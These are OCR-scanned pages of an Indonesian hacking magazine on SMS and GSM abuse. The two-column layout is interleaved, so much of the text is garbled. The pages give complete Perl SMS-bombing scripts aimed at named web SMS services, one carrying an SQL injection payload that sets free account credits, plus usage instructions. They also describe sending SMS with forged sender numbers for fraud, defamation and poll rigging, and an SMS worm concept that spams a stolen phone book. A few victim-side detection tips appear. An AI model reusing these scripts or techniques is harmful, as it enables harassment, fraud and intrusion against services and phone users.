05912618164221000C9126188240090300001DC830FB0D book, kepada nomor-nomor di dalam phone book. (Konsepnya
9297C9E1F53C0D6A86D56176180D7296DFF4F2DAE502 mirip dengan virus-virus email yang membajak Address Book
pada Email Client).
Jalankan AT command:
Mengingat risikonya, saat ini saya belum dapat menyertakan
AT+CMGF=0 //Memilih modus PDU
source code aplikasi tersebut.
AT+CSMS=0 //Memeriksa apakah ponsel dapat
menerima SMS commands Kegunaan:
AT+CMGS=29 //Mengirim SMS, berisi 29 septets 1. Promosi. Misal dengan mengirimkan pesan: Hai, $name.
Kemaren aku coba makan steak di Steak Corner Bintaro ok
>05912618164221000C9126188240090300001DC830FB0 banget lho. Malam minggu ketemuan di sana yuk ^_^.
D9297C9E1F53C0D6A86D56176180D7296DFF4F2DAE502 Dengan variable $name diambil dari isi phone book yang
(diakhiri dengan Control-Z). dicuri (nomor tujuan).
2. Terror. $name, rese nih 081xxxxxx Miskol gw mlolo..
yang cukup untuk mengirimkan SMS, juga akan Bantuin gw miskol-in balik dia ye. Biar tau rasa.
mengurangi kredit Anda bila SMS telah dipastikan sampai Bayangkan bagaimana bingungnya korban 081xxx jika
menerima miskol dari seratus nomor yang berbeda.
ke tujuan.
3. Penggalangan massa. Misal, $name! Besok kumpul di Al
Beberapa operator GSM menyediakan SMS gratis melalui Azhar yuk! Ada pengajian.
web. Mengapa bisa gratis? Mereka menggunakan SMSC 4. Dll, khususnya yang berkenaan dengan pemberitaan massal.
yang berbeda dengan SMSC komersial (non-billing). IM3
dan INDOSAT menyediakan fasilitas ini, walaupun kemu- Tentunya pemilihan korban juga menentukan kecocokan kegu-
naan yang dipilih. Korban dari kalangan mahasiswa memiliki
dian www.satelindogsm.com mencabut fasilitas web2sms- karakter yang berbeda dengan korban dari kalangan pengusaha,
nya, sementara www.m3-access.com terus berkibar dengan karyawan, dll.
layanan MMS dari web.
Bluesnarfing dan Bluejacking
Pada jenis ponsel tertentu (Nokia semua tipe, beberapa tipe Pencurian data ponsel dapat juga melalui fasilitas Bluetooth. Pon-
Siemens, Ericsson, dan Motorola), anda dapat menerima sel dengan fasilitas Bluetooth yang selalu ‘on’ berisiko terkena
Flash message, yaitu SMS yang langsung terlihat isi pesan- pencurian data, seperti dilaporkan oleh Click Online pada situs
nya tanpa perlu membuka Inbox. BBC (rekaman video-nya dimuat dalam CD NeoTek). Pencurian
data bhandphone melalui fasilitas Bluetooth ini dikenal sebagai
Flash SMS ini cocok digunakan untuk pesan-pesan yang Bluesnarfing.
mendesak karena langsung ditampilkan di layar ponsel. ‘Olahraga’ yang populer di Eropa sekarang ini, yaitu Bluejacking,
Flash SMS tetap dapat diterima walaupun memori ponsel sebenarnya tidak berbahaya, tapi dapat menjengkelkan. Blue-
sedang penuh, namun Flash SMS itu sendiri tidak bisa jacking memanfaatkan fasilitas Send to pada transfer data melalui
disimpan pada memori (hilang setelah kita menutupnya). Bluetooth yang mengizinkan sampai 256 karakter.
Pemilihan tipe SMS di- Jadi, tinggal cari saja ponsel dengan
tentukan oleh octet DCS Bluetooth di keramaian sekitar
anda, lalu kirim data yang justru
Data Coding Scheme).
(D diketikkan pada Send to. Si pene-
Caranya dengan memi- rima akan terlalu kaget untuk me-
ucs2)
lih unicode 16-bit (u nyadari bahwa ‘pesan’ tadi sebe-
sebagai DCS, dan pesan narnya diketikkan pada Send to.
diawali dengan octet 0001. Bluejacker yang ngetop di Inggris
Saat ini, umumnya pon- sekarang ini, Jelly Ellie, adalah
sel yang mendukung seorang siswa sekolah menengah
pengiriman Flash SMS yang situsnya yang membahas
sudah menyediakan Bluejacking dapat dilihat di
menu yang mudah http://www.bluejackq.com/
untuk mengirimkan
Flash SMS. SMS gratis
dari IM3 pun sudah
menyediakan fasilitas
Flash SMS.

Vol. IV No. 08 NeoTek 17


NeoStart

S M S DAN G S M HAC K I N G
Mengirim SMS Fake Sender
Bung Ftp_Geo (FG@yahoo.com) kini masuk ke sisi gelap SMS, yaitu SMS Fake Sender yang
menjadi sarana yang paling populer untuk melakukan penipuan maupun fitnah. Namanya juga
SMS Kaleng, sama seperti surat kaleng ataupun email kaleng, perlu diwaspadai.

SMS BERISI IMING-IMING Salah satunya adalah www.phunkyphones.net yang menye-


S ERINGKALI SAYA MENERIMA
bahwa saya telah memenangkan undian atau hadiah
tertentu. Untuk mengambil 'hadiah' tersebut, saya
diakan layanan pengiriman SMS dengan modifikasi OA
melalui layanan web mereka. Beberapa waktu yang lalu,
diharuskan membayar pajak undian, atau membayar fee situs ini masih menggunakan ASP yang vulnerable sehing-
tertentu, atau membayarnya dengan mengirimkan voucher ga memungkinkan pengguna untuk menambah sendiri
pulsa, atau alasan lain agar saya menyerahkan barang ber- pulsa mereka. (String provided by 1ST).
harga pada pihak-pihak tertentu.
SMS penipuan itu sangat terlihat tidak masuk akal. Karena
pengirimnya bukanlah nomor-nomor operator seperti
TELKOMSEL, PRO-XL, INDOSAT, 555, 777, atau nomor-
nomor khusus lainnya. Nomor pengirim jelas-jelas terlihat
adalah nomor ponsel GSM biasa, yang mudah didapat di
outlet-outlet ponsel.
Biasanya nomor yang dipakai untuk menipu adalah nomor
pra-bayar yang dapat dibuang jika dirasa sudah tidak meng-
hasilkan. Hal ini sangat menjengkelkan saya, sehingga me-
macu saya untuk mencari tahu, bagaimana cara terbaik (me-
nurut saya) untuk membalas penipuan itu.
Sebenarnya, bagaimana cara operator mengirimkan nomor
atau nama cantik tersebut ke HP kita? Nomor pengirim
tersebut sebenarnya tersimpan pada octet OA (O
Originator
Address) pada MT (MMobile Terminated). Octet OA tidak
hanya dapat memuat angka, namun juga string/teks.
Octet OA ini, hanya muncul pada MT yang dikirimkan dari
SMSC ke ponsel tujuan, sehingga tidak ada cara untuk Contoh lain adalah http://sms.bigfoot.com yang menggu-
mengubah nomor pengirim dari ponsel pengirim. Artinya, nakan software khusus untuk melakukan modifikasi sender
untuk membuat SMS Fake Sender (SMS dengan nomor name.
pengirim palsu), Anda membutuhkan sebuah SMSC yang
bisa memodifikasi octet OA ini.

Operator yang Diperlukan


Di Indonesia sendiri, setahu saya, tidak ada operator yang
menyediakan SMSC untuk modifikasi OA. Karena itu, saya
melirik SMSC luar negeri yang menyediakan fasilitas
modifikasi OA untuk membuat nomor pengirim palsu.
SCA PDU-Type OA PID DCS SCTS UDL UD

Letak modifikasi fake sender (Originator Address)

Walaupun nomor pengirim adalah nomor spesial seperti Aplikasi yang cukup sulit digunakan adalah SMSXtender
TELKOMSEL, PRO-XL, INDOSAT, biasanya pihak operator juga
akan mengumumkannya di media cetak nasional atau melalui
dari www.simeda.com karena membutuhkan handphone
media lain. Ada baiknya untuk menyimpan nomor telepon resmi atau PDA yang dilengkapi dengan Java.
operator jaringan anda.

18 NeoTek Vol. IV No. 08


NeoStart

Untuk sender-nya saya menyesuaikan dengan operator


jaringan masing-masing (pada contoh di atas saya
menggunakan sender TELKOMSEL).
Mengenali SMS Fake Sender atau Bukan
Pengetahuan mengenai SMS fake sender ini bagaikan pisau
bermata dua. Bisa saja setelah membaca tulisan ini, sese-
orang memanfaatkannya untuk tujuan penipuan.
Karena itu kita juga harus mempelajari bagaimana
membedakan sender SMS nomor spesial yang asli dengan
sender SMS nomor spesial yang palsu.
Tanda-tanda Anda menerima SMS Fake Sender adalah:
1. Service Center Time Stamp (SCTS), lihat waktu pengi-
rimannya. Jika waktu pengirimannya berbeda jauh de-
ngan jam local di daerah Anda (WIB, WITA, atau WIT),
maka SMS tersebut dapat dicurigai sebagai SMS Fake
Sender.
2. Isinya tidak masuk akal, seperti meminta transfer uang,
pulsa, dan semacamnya.
Sementara aplikasi buatan anak negeri tersedia juga di 3. Konfirmasikan dengan pihak-pihak yang bersangkutan,
www.kioss.com/kioss yaitu SMS Alert. dan JANGAN SEKALI-SEKALI menghubungi nomor
telepon yang terdapat dalam SMS. Carilah nomor tele-
pon resmi kantor operator jaringan Anda dari buku tele-
pon atau 108.
4. Penipuan tidak hanya mengatasnamakan operator jaring-
an, namun bisa juga atas nama pihak lain seperti bank
(misal: Gebyar BCA, Tahapan+, dll), toko (Gramedia),
asuransi (PRULink) atau pihak-pihak yang sedang meng-
adakan undian berhadiah lainnya.
Kejahatan akan selalu berkembang dan selalu memanfaat-
kan kesempatan yang ada, karena itu Bang Napi selalu
berpesan, Waspadalah!
Referensi
1. www.dreamfabric.com/sms
2. www.forumponsel.com
3. #forumponsel DALnet
4. www.kioss.com/kioss Terima kasih kepada Luri Darmawan atas
diskusi mengenai AT commands pada Siemens.
5. Budi Sutedjo, Yosia Handoko. Database Pendidikan Berbasis
Mengapa Berbahaya? Ponsel. Penerbit ANDI, Yogyakarta:2003.
6. Ir. Bustam Khang. Trik Pemrograman Aplikasi Berbasis SMS.
SMS Fake Sender ini sangat berbahaya, karena dapat digu- Elexmedia Komputindo, Jakarta:2002.
nakan untuk: 7. Ferry Gunawan. Membuat Aplikasi SMS Gateway Server &
1. Penipuan. Seperti dengan mengatasnamakan operator Client Dengan Java & PHP. Elexmedia Komutindo,
jaringan GSM, atau nama bank tertentu yang sedang Jakarta:2003.
melakukan undian berhadiah (Gebyar BCA, dll). 8. www.simeda.com
2. Memanipulasi Polling. Jika satu nomor ponsel hanya da- 9. www.phunkyphones.net
pat melakukan polling satu kali, dengan SMS Fake Sen- 10. www.smscountry.com
der dapat memilih berulang-ulang. Misalnya dengan 11. www.bigfoot.com
membuat sender 0810000001, 0810000002, 0810000003, dst. 12. www.clickatell.com
3. Fitnah. Bisa saja saingan bisnis Anda mengirimkan SMS 13. www.textmine.co.uk
berisi pembatalan kontrak kepada rekan bisnis Anda. 14. www.world-text.com
Dengan SMS fake sender ini, saya membalas SMS-SMS 15. www.yepcell.com
penipuan yang masuk ke ponsel saya (atau rekan-rekan 16. 1ndonesia Security Team 1ST (http://bosen.net/releases) atas
saya) dengan pesan: Nomor Anda dilaporkan telah mela- kesempatan yang diberikan kepada saya untuk menggunakan
kukan penipuan. Pihak TELKOMSEL bekerjasama dengan fasilitas SMS di berbagai situs.
Kepolisian akan menyelidiki masalah ini. Untuk sementara
aktivitas telepon dan SMS Anda kami pantau.

Vol. IV No. 08 NeoTek 19


NeoStart

S M S DAN G S M HAC K I N G
Jebol dengan SMS Bombing
Sisi gelap lain dari SMS yang dibahas Bung Ftp_Geo (FG@yahoo.com) adalah SMS Bombing,
yaitu mengirimkan SMS yang sama sebanyak-banyaknya ke ponsel korban menggunakan
account SMS serta suatu Perl script untuk mengotomatisasinya.

EBERAPA WAKTU LALU SITUS WWW.HAPPYTEXTING.COM 34: $send_sms = HTTP::Request->new(POST =>


B menyediakan fasilitas SMS gratis ke seluruh dunia
melalui web. Mungkin salah satu penyebab down
'http://www.happytexting.com/login/send_sms.jsp');
35: $send_sms->content_type('application/x-www-form-urlencoded');
36: $isisms = $0.' sends you: '.$pesan.' '.$username;
dan ditutupnya situs tersebut adalah dirilisnya skrip ini di 37: $message = 'txt_touser='.
dunia underground. $korban.'&txt_username='.$username.'&txt_fromuser='.$0.'&message='.$isis
ms.'&sizebox=0&MM_insert=form1';
Skrip ini memanfaatkan fasilitas SMS gratis yang disedia- 38: $send_sms->content($message);
kan oleh Happy Texting (www.happytexting.com). Happy 39: my $response_send_sms = $ua->request($send_sms);
Texting sendiri adalah operator jaringan telepon selular di 40: my $cek = $response_send_sms->as_string;
India yang sedang melakukan promosi. Sama seperti dahulu 50: sleep($delay);
IM3 di Indonesia yang melakukan promosi MMS gratis. 51: if($opt_v){print "......OK!\n";$try++;
52: }
Skrip sakjebole.pl 53: }
54: #--EOF--
Skrip sakjebole.pl (sakjebole dalam bahasa Jawa artinya:
dihajar sampai jebol). Berikut ini skrip selengkapnya: Secara sederhana cara kerja script ini dapat diikhtisarkan
(nomor baris tidak termasuk bagian dari skrip) sebagai berikut:
1: #!/usr/bin/perl -w • Baris pertama sampai 22 mengatur konfigurasi skrip,
2: # sakjebole.pl versi 2 SMS Bomber pake happytexting khususnya username dan password yang akan dipakai
3: # by mas Geo untuk login ke Happy Texting (www.happytexting.com)
4: #-----------------EDIT-KONFIGURASI-DI-SINI!!---------------------------= dan proxy. Biasanya proxy hanya diperlukan jika Anda
5: $proxy = 'http://proxy.intra.djpkpd.go.id:3128/'; menggunakan komputer dibalik NAT. Jika anda tidak
6: $username = '62815blablabla'; menggunakan proxy, cukup beri tanda pagar pada awal
7: $password = 'passwordmu'; baris 5.
8: $pesan = 'Happy Bombing!!';
• Baris 23 s.d. 27 mensimulasikan bahwa seseorang
9: #-------------------------------------------------------------------------=
sedang melakukan login ke Happy Texting.
10:
11: use LWP::UserAgent; • Baris 28 - akhir mensimulasikan seseorang sedang
12: use HTTP::Cookies; mengirimkan SMS (melalui browser) kepada $korban,
13: use Getopt::Std; sebanyak $bom kali. Variabel $delay diperlukan untuk
14: getopts('t:b:d:v'); mendapatkan reliabilitas pengiriman yang cukup baik.
15: our($opt_t, $opt_b, $opt_d, $opt_v); Jika $delay diset nol, menurut pengalaman, SMS yang
16: $ua = LWP::UserAgent->new;$ua->agent("IE/6.0 Windows"); terkirim justru tidak sebanyak $bom. Delay yang cukup
17: $ua->cookie_jar(HTTP::Cookies->new(file => "SMS-Bomberz-cookies.txt", baik adalah 10 detik.
autosave => 1));
Salah satu alasan mengapa saya melepas skrip ini untuk
18: if(defined($proxy)){$ua->proxy(http => $proxy);} else {$ua->env_proxy;}
umum adalah Happy Texting (www.happytexting.com)
19: if(defined($opt_b)){$bom=$opt_b;}else{$bom=10;}
sendiri sudah mengalami kelebihan pengunjung. Sampai-
20: if(defined($opt_d)){$delay=$opt_d;}else{$delay=20;}
sampai kerap kali situs tersebut tidak dapat dikunjungi
21: if($0 !~ 'sakjebole.pl'){print "Skrip ini harus diberi nama sakjebole.pl\n";exit;}
22: if(!$opt_t){print "Baca kode sebagai manual\nKalo blom bisa baca kode,
(down). Dan lagi, fasilitas SMS gratis ini tentu tidak ber-
belum berhak menggunakan skrip ini\n";exit;} tahan selamanya. Pasti suatu saat akan dihentikan.
23: $req = HTTP::Request->new(GET => Jika anda jeli membaca skrip sakjebole.pl, tentu akan melihat
'http://www.happytexting.com/login/login.jsp?txt_mobilenum='.$username.'
&txt_password='.$password); bahwa saya tidak mencantumkan cara penggunaan (usage)
24: $req->header('Accept' => 'text/html'); seperti yang umum terdapat pada skrip-skrip lain. Hal ini
25: $res = $ua->request($req); saya lakukan atas dasar pertimbangan bahwa efek gangguan
26: my $cek = $res->as_string; yang dapat ditimbulkan skrip ini cukup besar. Ide Read The
27: if ($res->is_success && $cek =~ /Sign Out/) {print "Login OK\n";}else {die Code for Manual/Help saya dapat dari 1ST (1ndonesia
"Error: Gagal Login\nMungkin salah password atau happytexting sedang Security Team), dan memang cocok diterapkan untuk skrip
down\n" . $res->status_line . "\n";}
yang satu ini (karena efek disturbing-nya cukup lumayan).
28: $korban = $opt_t;
29: $try=1; Namun pada kesempatan kali ini, saya akan menunjukkan
30: print "Kirim SMS ke $korban sebanyak $bom kali.\n"; cara membaca skrip SMS Bombing sakjebole.pl untuk me-
31: print "Happy Bombing!!\n"; ngetahui cara penggunaannya, dengan pertimbangan seper-
32: for($i=1;$i<=$bom;$i++){ ti yang saya ungkapkan di atas (tidak ada yang gratis untuk
33: if($opt_v){print "\nKirim SMS #$try ......";} selamanya).

20 NeoTek Vol. IV No. 08


NeoStart

Penggunaan SMS Bomber sakjebole.pl Solusi Bagi Korban


Di sini saya akan mencontohkan cara membaca manual dari Salah satu pengalaman menarik yang saya dapatkan ketika
kode. Hal pertama yang perlu diperhatikan untuk dapat menggunakan skrip ini adalah adanya teknik untuk meng-
menggunakan sakjebole.pl adalah adanya Getopt dan fungsi atasi bom SMS. Cara pertama yang cukup mudah adalah:
getopts. mematikan HP.
Pada baris ke-14, terlihat getopts('t:b:d:v');. Perhatikan bah- Happytexting bukanlah SMS sender yang reliable, sifatnya
wa fungsi getopts akan membaca argumen baris perintah, malah seperti paket UDP yang non-reliable, artinya Happy
dan memasukkan nilainya ke variabel $opt_*. Di sini ter- Texting tidak memperdulikan apakah SMS yang dikirimkan
lihat bahwa sakjebole.pl menggunakan empat option baris berhasil sampai atau tidak. Yang penting, dia sudah berusaha
perintah yaitu -t -b -d dan -v. mengirimkannya.
Pilihan -t, -b dan -d memerlukan argumen. Argumen ter- Cara kedua yang lebih elite adalah memasang blocking pada
sebut masing-masing akan disimpan pada variabel $opt_t, perangkat telepon seluler Anda. Silahkan hubungi Bosen
$opt_b, dan $opt_d. Sementara option -v tidak memerlukan (mobile@bosen.net) untuk detil selengkapnya.
argumen, hanya boolean saja, dan digunakan untuk meng-
aktifkan sesuatu (nanti kita cari yang dimaksud sesuatu itu). Berikut log session dalam usaha mengirimkan SMS bomb,.
namun tidak berhasil karena adanya blocker:
Pertama yang kita cari adalah kegunaan variabel $opt_t. Di
Session Start: Fri Feb 13 14:39:54 2004
baris ke-22 terlihat bahwa jika $opt_t tidak didefinisikan
Session Ident: Bosen
maka program akan dibatalkan. Berarti option -t ini sangat
<ftp_geo> C:\Documents and Settings\HERU\My Documents\Beta\projects>perl
penting bagi keseluruhan program. Pada baris ke-28 terlihat sakjebole.pl
bahwa isi variabel $opt_t akan disimpan ke dalam variabel <ftp_geo> Login OK
$korban, sedangkan di baris ke-30 terlihat bahwa variabel <ftp_geo> Kirim SMS ke 6281-EDITED- sebanyak 5 kali.
$korban adalah target SMS bombing. <ftp_geo> HP elu boss?
<Bosen> buat apaan
Dengan demikian, cara penggunaan paling sederhana dari <Bosen> iya
skrip ini adalah: <Bosen> hp gue
C:> perl sakjebole.pl -t 62815blablabla <ftp_geo> sorry boss
<Bosen> np
Lalu apa gunanya option -b, -d dan -v? Lihatlah pada baris <Bosen> ada block nya di hp
ke-19 dan 20. Di situ terlihat bahwa jika $opt_b dan $opt_d <ftp_geo> itu juga test doang
tidak diberikan, maka akan digunakan jumlah default, yaitu <Bosen> ya
10 untuk variabel $bom dan 20 untuk variabel $ddelay. * Logging Bosen to 'logs\Bosen.log'
Session Close: Fri Feb 13 16:41:36 2004
Penggunaan variabel $bom sendiri terlihat di baris ke-32
yaitu banyaknya perulangan. Sementara variabel $delay
diapakai di baris ke-50 sebagai delay antar looping. Yepcell SMS Bombing plus
Option -v terlihat muncul 2 kali, yaitu pada baris 33 dan 51. Fasilitas Pengisian Pulsa
Jika -v diikutsertakan, maka status pengiriman request akan Situs www.yepcell.com menyediakan berbagai fasilitas
terlihat. Option -v dimaksudkan sebagai modus verbose. untuk telepon seluler Anda.
Jadi cara penggunaan skrip sakjebole.pl selengkapnya adalah Mulai dari ringtones, picture, screen saver, SMS quotes,
sebagai berikut: SMS funny, bahkan anda dapat membuat sendiri logo
untuk ponsel Anda.
[geogeek@localhost geogeek]$ perl sakjebole.pl -t 62815blablabla -b 10 -d 5 -v
Yepcell tidak lupa memberikan fasilitas pengiriman SMS.
Solusi Bagi Webmaster Bahkan dengan string yang disediakan rekan-rekan dari
1ST (1ndonesia Security Team, http://bosen.net/releases ),
Untuk menghindari automasi login melalui skrip seperti ini, kita dapat mengisi ulang pulsa yang telah habis.
tambahkan keycode yang berubah setiap membuka browser.
Contoh keycode yang cukup baik adalah seperti yang dipa-
kai pada fasilitas SMS di situs IM3 (w
www.m3-access.com),
AnuneAnu (w www.anuneanu.com), dan Blog Pupet
http://blog.pupet.com).
(h
Alasan pemasangan keycode pada situs IM3 juga saya kira
untuk menghindari skrip otomatis seperti sakjebole ini
(login sendiri, kirim SMS sendiri, logout sendiri).
Atau cara lain yang cukup mudah untuk mengurangi risiko
login automatis, yaitu menggunakan flash untuk form login
dan form pengiriman SMS. Mengapa flash? Karena flash
tidak dapat dilihat source HTML-nya.
Skrip sakjebole.pl sendiri ditulis murni dari mengintip kode
HTML di Happy Texting.

Vol. IV No. 08 NeoTek 21


NeoStart

1: #!/usr/bin/perl -w
2: # .:: PRIVATE!! FOR LEET ONLY ::.
Skrip Kirim SMS email2sms.pl
3: # yepcell.pl SMS Bomber
Situs Russia http://email2sms.ru menyediakan juga fasi-
4: # by mas Geo
litas SMS gratis, walaupun tidak se-reliable Happy Texting.
5: #-EDIT-KONFIGURASI-DI-SINI!!
Namun yang menjadi tantangan dalam membuat skrip
6: $proxy = 'http://proxy.intra.djpkpd.go.id:3128/';
otomasinya adalah, adanya variabel dalam form yang se-
7: #buat login ke yepcell.com
lalu berubah, yaitu time dan sig (singkatan dari signature).
8: $username = 'usernamemu';
Jangan khawatir, dengan PERL dan LWP mari kita buat
9: $password = 'passwordmu';
skrip yang bisa membaca variable dari form HTML-nya.
10: $pesan = 'Test SMS Bomber!! 20 SMS saja. Lumayan pegel kan
ngapusnya..'; Berikut ini kode selengkapnya (nomor baris tidak
11: #---------------------------------------------------------------------------- termasuk bagian dari program):
12: use LWP::UserAgent;
1: #!/usr/bin/perl -w
13: use HTTP::Cookies; 2: # email2sms.pl
14: use Getopt::Std; 3: # by mas Geo
4: #-----------------EDIT-KONFIGURASI-DI-SINI!!------------------------=
15: getopts('t:b:d:v'); 5: #$proxy = 'http://proxy.intra.djpkpd.go.id:3128/';
16: our($opt_t, $opt_b, $opt_d, $opt_v); 6: $pesan = 'No day without new skripz.. =)';
17: $ua = LWP::UserAgent->new; 7: #-----------------------------------------------------------------------=
8:
18: $ua->agent("IE/6.0 Windows"); 9: use LWP::UserAgent;
19: $ua->cookie_jar(HTTP::Cookies->new(file => "SMS-Bomberz-cookies.txt", 10: use HTTP::Cookies;
autosave => 1)); 11: use HTTP::Status;
12: use HTTP::Response;
20: if($0 !~ 'yepcell.pl'){print "Skrip ini harus diberi nama yepcell.pl\n";exit;} 13: use Getopt::Std;
21: if(!$opt_t){print "Baca kode sebagai manual\nKalo blom bisa baca kode, 14: getopts('t:');
belum berhak menggunakan skrip ini\n";exit;}else{$korban = $opt_t;} 15: our($opt_t);
22: if(defined($opt_b)){$bom = $opt_b;}else{$bom = 10;} 16:
17: $ua = LWP::UserAgent->new;
23: if(defined($opt_d)){$delay = $opt_d;}else{$delay = 10;} 18: $ua->agent("MSIE/6.0 Windows");
24: if(defined($proxy)){$ua->proxy(http => $proxy);} else {$ua->env_proxy;} 19: $ua->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1));
25: #login 20:
21: #memeriksa konfigurasi dan options
26: $login = HTTP::Request->new(POST => 22: if(defined($proxy)){
'http://www.yepcell.com/members.asp'); 23: $ua->proxy(http => $proxy);
27: $login->content_type('application/x-www-form-urlencoded'); 24: } else {
25: $ua->env_proxy;
28: $loginsend = 'UserID='. $username.'&Password='.$password; 26: }
29: $login->content($loginsend); 27:
30: my $loginresponse = $ua->request($login); 28: if(defined($opt_b)){
29: $bom=$opt_b;
31: my $cek = $loginresponse->as_string; 30: } else {
32: if ($loginresponse->is_success && $cek =~ /LogOut/) {print "Login OK\n";} 31: $bom=10;
33: else {die "Error: Gagal Login\nMungkin salah password atau yecell sedang 32: }
down\n" . $loginresponse->status_line . "\n";} 33:
34: if(defined($opt_d)){
34: #send sms 35: $delay=$opt_d;
35: $try=1; 36: } else {
37: $delay=20;
36: print "Kirim SMS ke $korban sebanyak $bom kali.\n"; 38: }
37: print "Happy Bombing!!\n\n"; 39:
38: for($i=1;$i<=$bom;$i++){ 40: if($0 !~ 'email2sms.pl'){
41: print "Skrip ini harus diberi nama email2sms.pl\n";
39: if($opt_v){print "Kirim SMS #$try .....";} 42: exit;
40: $send_sms = HTTP::Request->new(POST => 43: }
'http://www.yepcell.com/xt_sendsms.asp?vt=Normal'); 44:
45: if(!$opt_t){
41: $send_sms->content_type('application/x-www-form-urlencoded');
46: print "Baca kode sebagai manual\nKalo blom bisa baca kode, belum
42: $sms = $0.' sends you: '.$pesan; berhak menggunakan skrip ini\n";
43: $sms =~ s/ /%20/g; 47: exit;
48: }
44: $message = 'MobileNo='.$korban.'&message='.$sms.'&remLen=0&ID= '; 49: print "Membaca konfigurasi hari ini:\n";
45: $send_sms->content($message); 50: $index = HTTP::Request->new(GET => 'http:// email2sms.ru');
46: my $response_send_sms = $ua->request($send_sms); 51: #'http://email2sms.ru/');
52: $index->header('Accept' => 'text/html');
47: my $cek = $response_send_sms->as_string; 53: $ua->cookie_jar->add_cookie_header($index);
48: #cek pulsa 54: $indexresponse = $ua->request($index);
55: my $indexcek = $indexresponse->as_string;
49: if($cek =~ /Account Balance: 0 Credits/){
56: $indexcek =~ m/time value\=\"\d+\"/;
50: #isi pulsa 57: $time = substr($&, 12, 10);
51: my $isipulsa = HTTP::Request->new(POST => 58: $indexcek =~ m/sig value\=\"\w+\"/;
'http://www.yepcell.com/members.asp'); 59: $sig = substr($&, 11, 32);
60:
52: $isipulsa->content_type('application/x-www-form-urlencoded'); 61: print "Variable time: $time\n";
53: $isipulsasend = 62: print "Variable sig: $sig\n";
'UserID=%27update%20YepCell_MembersDB%20set%20credits=100%20w 63:
here%20userid%20=%27'.$username.'%27--&Password=abcdefgh'; 64: $tujuan = $opt_t;
54: #'update YepCell_MembersDB set credits=100 where userid 65: #send sms
='dodol'-- 66: print "\nKirim SMS ke $tujuan ......";
67:
55: $isipulsa->content($isipulsasend); 68: $send_sms = HTTP::Request->new(POST=>'http://email2sms.ru/sms.php');
56: my $isipulsaresponse = $ua->request($isipulsa); 69: $send_sms->content_type('application/x-www-form-urlencoded');
70: $isisms = $0.' sends you: '.$pesan;
57: }
71: $message = 'time='.$time.'sig='.$sig.'&iphone='.$tujuan.'&text='.$isisms.'
58: sleep($delay);if($opt_v){print "..... OK!\n";} &len=0&rus=0';
59: $try++; 72: $send_sms->content($message);my $response_send_sms = $ua-
>request($send_sms);
60: } 73: my $cek = $response_send_sms->as_string;
61: #--EOF- 74: if($response_send_sms->is_success){

22 NeoTek Vol. IV No. 08


NeoStart
75: print "......OK!\n"; Mengapa Perl?
76: }
77: else { 1. Lintas Platform
78: print "......Gagal!\n"; Perl dapat dijalankan di mesin-mesin Unix dan semacam Unix (POSIX compliant),
79: } DOS, Windows 9x, NT, dan XP, OS/2, dan MacIntosh.
80: print "Isi Pesan: $pesan\n"; 2. Intrepreter
81: #--EOF-- Tidak membutuhkan compiler. Menurut pengalaman saya, bahasa-bahasa pemro-
graman yang sifatnya compiler, sifat portabilitasnya kurang (khususnya antara
Windows dengan Linux) karena terkadang compiler yang digunakan tidak kom-
Pada skrip kita kali ini, saya sengaja tidak membuat loop patibel. bahkan gcc antara Linux dan FreeBSD saja berbeda. Sifat intrepreter pada
untuk bombing. Skrip ini dapat digunakan untuk mengi- Perl, memudahkan untuk menjalankannya di mesin apapun.
rim SMS biasa saja (satuan). 3. Scripting Language
Mudah dibaca. source code tersedia untuk umum, memudahkan bagi para newbie
Belajar dari pengalaman terdahulu, situs SMS gratis yang untuk belajar dari skrip milik orang lain. Mudah juga untuk debugging, karena
error message akan menunjukkan baris skrip yang mengandung kesalahan.
saya buat skrip bombing nya pasti berujung pada down-
4. Regex (regular expression) yang kuat.
nya situs tersebut (contoh: Happy Texting), sehingga saya Kemampuan Perl sangat menonjol pada manipulasi teks. Kelebihan ini kemudian
mencoba membuat skrip yang lebih awet penggunaannya. diadopsi oleh PHP.
5. Dapat digunakan sebagai CGI.
Jika anda ngotot ingin membuat loop untuk skrip bombing, CGI sendiri dapat ditulis dengan berbagai bahasa. Saking kerapnya pemakaian
silahkan modifikasi sendiri skrip ini. Perl untuk CGI, orang-orang sering mengartikan CGI sebagai Perl. Perl bahkan
menyediakan modul CGI.pm untuk mempermudah penulisan CGI.
Yang ingin saya ingatkan: pada saat looping, variabel sig 6. Dukungan modul yang cukup lengkap.
dan time pada halaman http://email2sms.ru/sms.php CPAN (Combined Perl Archive Network) menyediakan dukungan modul Perl
yang sangat luas, beragam, dan bermanfaat.
sudah berubah. 7. Mendukung akses command prompt/shell.
Bahkan ada beberapa program Perl yang khusus dijalankan pada mesin tertentu
Selain itu, email2sms.ru juga hanya bersedia saja, misalnya n-post.pl buatan ech0 dari nios (http://x25.cc) yang memanfaatkan
mengirimkan 15 SMS per hari untuk tiap IP Address. piping dari skrip Perl ke utilitas sendmail -t.
8. Hampir default
Jangan coba-coba menggunakan public proxy, email2sms.ru Hampir pada semua shell yang pernah saya kunjungi, Perl selalu tersedia. Ber-
akan menolaknya. Hehehe... yang gratis memang susah. beda dengan gcc atau cc, yang terkadang tidak disertakan oleh admin server kare-
na alasan keamanan.
9. Fokus Penulisan Program
Dengan pendekatan text-mode dan interpreter, saya lebih fokus pada logika
pemrograman daripada memikirkan bentuk tampilan dan semacamnya. Cocok
untuk newbie seperti saya.

Menggunakan HTTP Proxy C:\> set HTTP_PROXY_USER = myusername


C:\> set HTTP_PROXY_PASS = mypassword
ampir pada semua contoh skrip yang saya kemukakan, Untuk menyimpan efek ini selamanya, simpan perintah set ini
H selalu ada variabel $proxy. Sebenarnya bagaimana
cara penggunaan variabel ini?
pada AUTOEXEC.BAT.
C:\> echo "set HTTP_PROXY=http://192.168.100:3/" >>
HTTP Proxy biasanya digunakan oleh pengguna komputer AUTOEXEC.BAT
jaringan lokal (LAN) yang berada di balik NAT (N Network
Address Translation). Jadi setidaknya ada dua tipe koneksi Kondisi kedua penggunaan http proxy pada LAN adalah
internet, koneksi langsung (direct connection) dan koneksi adanya setting transparent proxy, yang semua HTTP Request
melalui proxy. di port 80 langsung dialihkan oleh router ke proxy server yang
tersedia.
Bagi Anda yang memiliki koneksi langsung ke internet, seperti
pada dial-up atau linux shell, biasanya tidak memerlukan Pada kondisi ini, perilaku http proxy menjadi sama dengan
HTTP Proxy. Dalam kasus ini berarti variabel $proxy dapat kondisi koneksi langsung. Sehingga tidak perlu mendefiniskan
dihilangkan saja, baik dengan menghapusnya maupun dengan variabel http proxy, baik di dalam skrip maupun di
